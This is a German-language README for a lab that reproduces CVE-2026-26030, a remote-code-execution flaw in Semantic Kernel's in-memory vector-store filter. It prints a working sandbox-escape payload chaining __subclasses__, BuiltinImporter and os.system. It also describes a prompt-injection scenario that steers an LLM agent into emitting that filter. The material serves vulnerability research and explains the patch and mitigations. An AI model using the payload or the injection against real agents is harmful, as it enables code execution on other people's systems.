
Ethisches, netzwerkisoliertes Docker-Labor zur Reproduktion von CVE-2026-26030 — RCE über Semantic Kernel In-Memory Vector Store Filter eval() (gepatcht in 1.39.4)
eval() (Labor)Ein in sich geschlossenes Labor, das CVE-2026-26030 reproduziert: per Prompt injizierbare Remotecodeausführung über den In-Memory-Vektorspeicher-Suchfilter in Microsoft Semantic Kernel (Python, < 1.39.4).
Nur ethisches Labor. Isoliert in dedizierten virtualenvs; Payloads sind harmlos (
toucheine Markierungsdatei im headless PoC;open -a Calculatorin der UI-Demo) und laufen als Ihr eigener unprivilegierter Benutzer.
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
Benötigt python3.13 (Räder für SK's numpy/scipy-Abhängigkeiten). Überschreiben mit PYTHON=.
./run.sh # runs the same payload against both venvs
Die verwundbare Ausgabe endet mit RCE CONFIRMED; die gepatchte Ausgabe weist dasselbe Payload mit '__subclasses__' ... is not allowed zurück.
OpsBot, ein interner Wissensdatenbank-Agent für die Entwicklung (Groq-gehosteter Llama über Semantic Kernel), stellt ein search_runbooks(team)-Tool zur Verfügung. Ein Angreifer schleust per Prompt einen bösartigen team-Wert ein; der Agent ruft das Tool auf, der verwundbare Filter läuft, und ein „Lösegeld-Hinweis" öffnet sich in TextEdit – während der Agent ahnungslos Runbook-Ergebnisse meldet. Das Payload (open -e <note>) ist nicht blockierend und harmlos; der Hinweis ist unter /tmp/PWNED_by_CVE-2026-26030.txt vorbereitet.
Das Tool führt die echte verwundbare Filter-eval in einem sauberen Unterprozess aus (run_filter.py). Das ist eine macOS-Notwendigkeit, kein Betrug: Der eigene fork() des Servers wird durch die asynchronen LLM/httpx-Threads + numpy/scipy vergiftet, sodass ein GUI-Start aus diesem Prozess stillschweigend nichts tut. Der Unterprozess ist der exakte CVE-Codepfad (_parse_and_validate_filter → Führe das Lambda auf einem Datensatz aus).
Hinweis: Die Aufteilung in einen sauberen Unterprozess ist eine Eigenart dieses macOS-Demo-Rahmens, nicht der Schwachstelle. Bei einem unter Linux bereitgestellten Agenten feuert das prozessinterne
os.systemdirekt – kein Unterprozess erforderlich.
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
Die Angreifernachricht ist im Eingabefeld vorab geladen; drücken Sie Senden.
Ein Agent stellt ein Suchtool bereit, das auf InMemoryCollection basiert. Der LLM gibt aus der Unterhaltung einen Filterausdrucks-String aus (lambda x: x.team == 'platform'). Dieser String ist durch den Angreifer beeinflussbar – über den Benutzer-Prompt oder über eingeschleusten Text in abgerufenen/Tool-Inhalten – und landet in _parse_and_validate_filter, das ihn compile()t und eval()t (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__ wird geleert und zuerst eine AST-Zulassungsliste angewendet – es handelt sich also um eine Sandbox-Umgehung, nicht um eine fehlende Sicherung. Zwei Lücken machen sie umgehbar:
ast.Attribute ist uneingeschränkt – keine Dunder-Blockliste, daher ist das Durchlaufen von ().__class__.__base__.__subclasses__ erlaubt.ast.Call-Namensprüfung untersucht func nur, wenn es ein Name oder Attribute ist. Wenn func ein Subscript ist (das ist in der Zulassungsliste), bleibt func_name None und die Prüfung auf erlaubte Funktionen wird vollständig übersprungen.Das Einwickeln eines beliebigen Callables als [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/args) ruft also alles auf. Verkettet:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/HEAD/%27os%27).system][0]('touch /tmp/pwned_by_filter')
Jeder Aufruf hat func als Subscript; jeder Durchlaufschritt ist ein reiner Attributzugriff. Der Index (107) ist die Position von BuiltinImporter in object.__subclasses__() – er variiert je nach Python-Build, daher berechnen exploit.py und die Demo ihn zur Laufzeit.
Der Patch fügt eine Blockliste für gefährliche Attribute zusätzlich zur Zulassungsliste hinzu, sodass der Dunder-Durchlauf vor dem eval abgelehnt wird:
Access to attribute '__subclasses__' is not allowed in filter expressions.
This attribute could be used to escape the filter sandbox.
Die klarste mögliche Aussage der Agentensicherheits-These: Es gibt keine Grenze zwischen „Daten" und „Anweisungen." Ein Filter, den das Modell aus einer Benutzer-Runbook-Abfrage schreibt, wird zu os.system. Die Sandbox existierte – eine Zulassungsliste und geleertes __builtins__ – und fiel dennoch einer Attributdurchlauf- + Subscript-Aufruf-Umgehung zum Opfer. Eine Minderungshierarchie, die es wert ist, im Beitrag dargelegt zu werden: Werten Sie Modellausgaben überhaupt nicht mit eval aus; falls nötig, schränken Sie auf eine geschlossene Grammatik ein, nicht auf eine Knoten-Zulassungsliste mit offenem Attributzugriff; und isolieren Sie den Worker (seccomp / kein Netzwerk / unprivilegiert), sodass Codeausführung nicht gleich „Game Over" ist.
| Datei | Zweck |
|---|
setup.sh | baut die beiden isolierten venvs (verwundbar + gepatcht) |
run.sh | headless PoC über beide venvs |
exploit.py | End-to-End: echte Sammlung + Suchfilter -> RCE |
find_sink.py | lokalisiert die eval/compile-Senke im installierten Paket |
probe.py | minimale, reine Validator-Bestätigung der Umgehung |
demo-ui/app.py | FastAPI + SK + Groq-Agent; das verwundbare Tool search_runbooks |
demo-ui/run_filter.py | führt die echte Filter-eval in einem sauberen Unterprozess aus (Server fork() ist vergiftet) |
demo-ui/index.html | Chat-UI; öffnet bei RCE eine Lösegeldforderung in TextEdit |